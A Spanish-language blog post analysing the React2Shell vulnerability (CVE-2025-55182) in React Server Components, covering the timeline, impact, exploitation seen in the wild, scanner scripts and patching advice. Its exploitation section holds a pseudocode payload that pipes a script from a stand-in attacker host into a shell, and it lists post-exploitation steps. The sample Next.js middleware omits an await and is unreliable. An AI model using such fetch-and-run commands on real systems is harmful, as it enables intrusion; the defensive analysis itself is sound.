
Untitled Post
# React2Shell (CVE-2025-55182): Un análisis profundo de una vulnerabilidad crítica en React
*Por Lachlan Davidson*
*Última actualización: 4 de diciembre de 2025*
---
## Tabla de contenido
1. [Introducción](#introducción)
2. [Antecedentes y cronología](#antecedentes-y-cronología)
3. [Comprendiendo React2Shell](#comprendiendo-react2shell)
- [¿Qué es React2Shell?](#qué-es-react2shell)
- [Descripción técnica de la vulnerabilidad](#descripción-técnica-de-la-vulnerabilidad)
4. [Impacto en los ecosistemas de React y Next.js](#impacto-en-los-ecosistemas-de-react-y-nextjs)
5. [Deserialización insegura y el protocolo Flight](#deserialización-insegura-y-el-protocolo-flight)
6. [Explotación real y casos de estudio](#explotación-real-y-casos-de-estudio)
7. [Técnicas de detección y mitigación](#técnicas-de-detección-y-mitigación)
- [Escaneo con Bash y cURL](#escaneo-con-bash-y-curl)
- [Procesamiento de datos de vulnerabilidad con Python](#procesamiento-de-datos-de-vulnerabilidad-con-python)
- [Consejos para una supervisión eficaz](#consejos-para-una-supervisión-eficaz)
8. [Técnicas avanzadas de explotación y análisis post-explotación](#técnicas-avanzadas-de-explotación-y-análisis-post-explotación)
9. [Falsos positivos: qué no debes confiar](#falsos-positivos-qué-no-debes-confiar)
10. [Mejores prácticas para parchear y reforzar](#mejores-prácticas-para-parchear-y-reforzar)
11. [Conclusión](#conclusión)
12. [Referencias](#referencias)
---
## Introducción
En los últimos años, la adopción de React y sus frameworks asociados se ha disparado, impulsando desde pequeños proyectos web hasta aplicaciones empresariales de gran escala. Con este aumento de popularidad llega la preocupación por las vulnerabilidades, especialmente las que afectan a componentes críticos del ecosistema.
El 29 de noviembre de 2025, yo, Lachlan Davidson, informé de forma responsable una vulnerabilidad devastadora—React2Shell (CVE-2025-55182)—al equipo de Meta. Este fallo, que afecta a implementaciones de React en el lado del servidor, particularmente a través del protocolo “Flight” de React Server Components (RSC), fue parcheado por los equipos de React y Vercel el 3 de diciembre de 2025. Esta entrada de blog ofrece un análisis en profundidad de la vulnerabilidad, desde sus matices técnicos hasta su explotación en el mundo real, y cubre además las mejores prácticas para su detección y mitigación.
En este artículo cubriremos:
- Una explicación de la vulnerabilidad y su severo impacto.
- Detalles técnicos de por qué y cómo existe el fallo.
- Casos de estudio reales de explotación y comportamiento post-explotación.
- Ejemplos de código y comandos de escaneo para ayudar a detectar instancias vulnerables.
- Buenas prácticas para parchear y reforzar despliegues.
Tanto si eres un profesional de seguridad, un desarrollador que busca entender los riesgos, o un entusiasta de las tecnologías web modernas, esta guía te llevará desde conceptos básicos hasta técnicas avanzadas de explotación y defensas proactivas.
---
## Antecedentes y cronología
La cronología es clave para entender la gestión de riesgos y la rápida respuesta ante este incidente:
- **29 de noviembre de 2025 (PT):** Divulgación responsable de la vulnerabilidad por parte de Lachlan Davidson al equipo de Meta.
- **3 de diciembre de 2025 (PT):** Los equipos de React y Vercel publican las primeras divulgaciones y parches.
- **4 de diciembre de 2025:** Comienzan a circular públicamente distintos códigos PoC (Proof-of-Concept). No obstante, se advirtió de que algunos “PoC” no reflejaban la naturaleza real del fallo.
- **Tras el parcheo y la monitorización:** Investigadores de seguridad como Wiz Research, Amazon Threat Intelligence y Datadog observan explotación activa, con campañas dirigidas a instancias públicas de Next.js y despliegues en la nube.
Se asignó un CVE adicional, CVE-2025-66478, para Next.js debido a la inclusión “vendorizada” de React, a pesar de ser técnicamente un duplicado de CVE-2025-55182. Esta decisión ayuda a que proveedores y equipos de seguridad sigan mejor las dependencias que los escáneres tradicionales podrían pasar por alto.
---
## Comprendiendo React2Shell
### ¿Qué es React2Shell?
React2Shell es una vulnerabilidad crítica (CVE-2025-55182) en el entorno de React Server Components (RSC), que afecta específicamente al protocolo “Flight”. Permite la ejecución remota de código (RCE) no autenticada en el servidor debido a prácticas de deserialización insegura en el paquete `react-server`.
Atributos clave:
- **Severidad crítica (10.0):** Por la facilidad de explotación y el impacto.
- **RCE no autenticada:** Basta una petición HTTP con un payload manipulado para comprometer el servidor.
- **Configuraciones por defecto vulnerables:** Las implementaciones estándar de Next.js (por ejemplo, las creadas con `create-next-app`) son susceptibles a menos que se refuercen explícitamente.
### Descripción técnica de la vulnerabilidad
La causa raíz reside en cómo el servidor procesa los payloads de RSC. El proceso de deserialización no valida adecuadamente la estructura de los datos entrantes. Un atacante puede suministrar datos especialmente diseñados que, al deserializarse, provocan la ejecución de código no esperado en el servidor.
Flujo simplificado:
1. **Creación del payload:** El atacante elabora un payload malicioso que aprovecha la lógica de deserialización.
2. **Petición HTTP:** El payload se envía mediante una solicitud HTTP al servidor vulnerable.
3. **Deserialización y ejecución:** El servidor deserializa sin la validación correcta, ejecutando código controlado por el atacante.
4. **RCE:** El servidor ejecuta comandos al antojo del atacante, otorgándole acceso de shell.
El riesgo es mayor porque la configuración por defecto de muchas aplicaciones carece de la sanitización o restricciones que mitigarían esta amenaza.
---
## Impacto en los ecosistemas de React y Next.js
### ¿Por qué es tan peligrosa esta vulnerabilidad?
1. **Amplia adopción:** React y Next.js son de los frameworks más populares.
2. **Facilidad de explotación:** Una simple petición HTTP puede disparar el fallo, facilitando ataques automatizados.
3. **Alta tasa de éxito:** Tests muestran una fiabilidad cercana al 100 % bajo configuraciones estándar.
4. **Exposición pública:** El 39 % de los entornos cloud analizados albergaban instancias vulnerables, muchas públicamente accesibles.
### La excepción de Next.js
Next.js incluye React como dependencia “vendorizada”; los escáneres que sólo revisan el `package.json` pueden no detectarlo. El CVE-2025-66478 se asignó para garantizar que los usuarios de Next.js sean conscientes del riesgo incrustado.
---
## Deserialización insegura y el protocolo Flight
### Deserialización insegura
La deserialización convierte datos serializados (JSON, binario, etc.) en objetos ejecutables. Es insegura cuando:
- **La validación es insuficiente:** Datos malformados o maliciosos atraviesan los controles.
- **Se ejecuta código malicioso:** La deserialización permite ejecutar código no saneado.
### El protocolo Flight en RSC
RSC usa Flight para transferir datos entre servidor y cliente. Su alto rendimiento introdujo, sin querer, un vector de ataque por falta de validación en `react-server`.
Flujo:
1. El servidor deserializa el payload.
2. Interpreta los datos para renderizar componentes.
3. Si el payload está manipulado, puede ejecutar comandos de sistema o lógica sensible.
Las abstracciones de Next.js hacen que los desarrolladores asuman que sus aplicaciones son “seguras por defecto”, lo cual esta vulnerabilidad desmiente.
---
## Explotación real y casos de estudio
### Explotación en la naturaleza
Tras la publicación del PoC se observaron campañas automatizadas:
- **Robo de credenciales:** Variables de entorno y datos del sistema de archivos.
- **Criptominería:** Instalación de XMRig con ejecutables empaquetados con UPX.
- **Reconocimiento post-explotación:** Actores avanzados buscaron vulnerabilidades adicionales y persistencia.
### Caso de estudio: Next.js en Kubernetes
Un atacante envió una petición HTTP con un payload Flight manipulado:
- Estableció un reverse shell.
- Accedió a secretos y config maps de Kubernetes.
- Escaló privilegios hasta el nodo subyacente.
### Caso de estudio: ataques en la nube
Datos de Wiz Research:
- 39 % de entornos cloud contenían instancias vulnerables.
- Muchas eran públicas.
- Intentos de extraer credenciales AWS codificadas en Base64.
---
## Técnicas de detección y mitigación
### Escaneo con Bash y cURL
```bash
#!/bin/bash
# Escáner simple para React2Shell (CVE-2025-55182)
TARGET="<url_objetivo>"
PAYLOAD='{"malicious":"payload"}'
echo "Escaneando $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "Posible vulnerabilidad detectada en $TARGET"
else
echo "No se detectaron señales claras en $TARGET. Se recomienda análisis adicional."
fi
Procesamiento de datos de vulnerabilidad con Python
import requests, json
def scan_target(url):
payload = {"test":"data","action":"simulate_deserialization"}
headers = {"Content-Type":"application/json"}
print(f"Escaneando {url}...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Posible vulnerabilidad en {url}")
else:
print(f"[-] Sin indicios inmediatos en {url}")
except requests.RequestException as e:
print(f"[-] Error al escanear {url}: {e}")
for t in ["https://ejemplo.com/api/flight","https://otro.com/api/flight"]:
scan_target(t)
Consejos para una supervisión eficaz
- Protección a nivel de runtime.
- Monitorear logs por peticiones anómalas.
- Integrar escáneres de vulnerabilidad con paneles de control.
Técnicas avanzadas de explotación y análisis post-explotación
Consideraciones para desarrollo de exploits
- Creación del payload.
- Evasión de WAF/protecciones runtime.
- Encadenamiento con otras vulnerabilidades.
// Pseudocódigo de payload malicioso
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
Pasos post-explotación
- Reverse shell.
- Recolección de datos sensibles.
- Movimiento lateral.
- Instalación de criptomineros o RATs.
Falsos positivos: qué no debes confiar
Las funciones como vm#runInThisContext, child_process#exec o fs#writeFile pueden usarse legítimamente. Su mera presencia no confirma vulnerabilidad. React2Shell se aprovecha del manejo automático de funciones del servidor por parte de Next.js; el fallo existe aunque dichas funciones no estén expuestas explícitamente.
Recomendaciones:
- Contrastar resultados con avisos oficiales.
- Analizar logs buscando explotación real.
- Monitorizar runtime para patrones anómalos.
Mejores prácticas para parchear y reforzar
Pasos de remediación inmediata
- Revisar avisos de proveedor.
- Parchear de inmediato (p. ej.,
react-server-dom*19.0.1, 19.1.2, 19.2.1). - Activar protecciones runtime.
- Monitorear comportamientos anómalos.
- Compartir inteligencia de amenazas.
Guía de hardening para desarrolladores
- Validación de entrada rigurosa.
- Limitar exposición de endpoints críticos.
- Auditorías regulares.
- Segregación de entornos.
// Middleware de ejemplo en Next.js para sanitizar entradas
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Formato de payload inválido', { status: 400 });
}
} catch {
return new NextResponse('Error procesando la solicitud', { status: 400 });
}
}
return NextResponse.next();
}
Conclusión
React2Shell (CVE-2025-55182) demuestra que incluso frameworks consolidados como React y Next.js pueden albergar vulnerabilidades de alta gravedad. Basada en deserialización insegura en el protocolo “Flight” de RSC, esta falla tiene amplias repercusiones por su carácter crítico, facilidad de explotación y prevalencia en configuraciones por defecto.
Puntos clave:
- Permite RCE no autenticada con esfuerzo mínimo.
- Afecta tanto a React como a Next.js (CVE-2025-66478).
- Se han observado explotaciones reales.
- Los falsos positivos pueden desviar la atención; valida hallazgos mediante avisos oficiales y monitorización runtime.
- Mantén dependencias actualizadas e implementa defensas en capas.
Comprender los detalles técnicos de React2Shell y el panorama de amenazas permite a desarrolladores y profesionales de seguridad reforzar mejor sus aplicaciones ante esta vulnerabilidad crítica.
Referencias
- React Official Blog
- Documentación de Next.js
- Detalles de CVE-2025-55182
- Aviso de seguridad de Meta
- Blog y avisos de Vercel
- Publicaciones de Wiz Research
- GreyNoise Intelligence
¡Feliz codificación segura!
Lleva tu Carrera de Ciberseguridad al Siguiente Nivel
Si encontraste este contenido valioso, imagina lo que podrías lograr con nuestro programa de capacitación élite integral de 47 semanas. Únete a más de 1.200 estudiantes que han transformado sus carreras con las técnicas de la Unidad 8200.
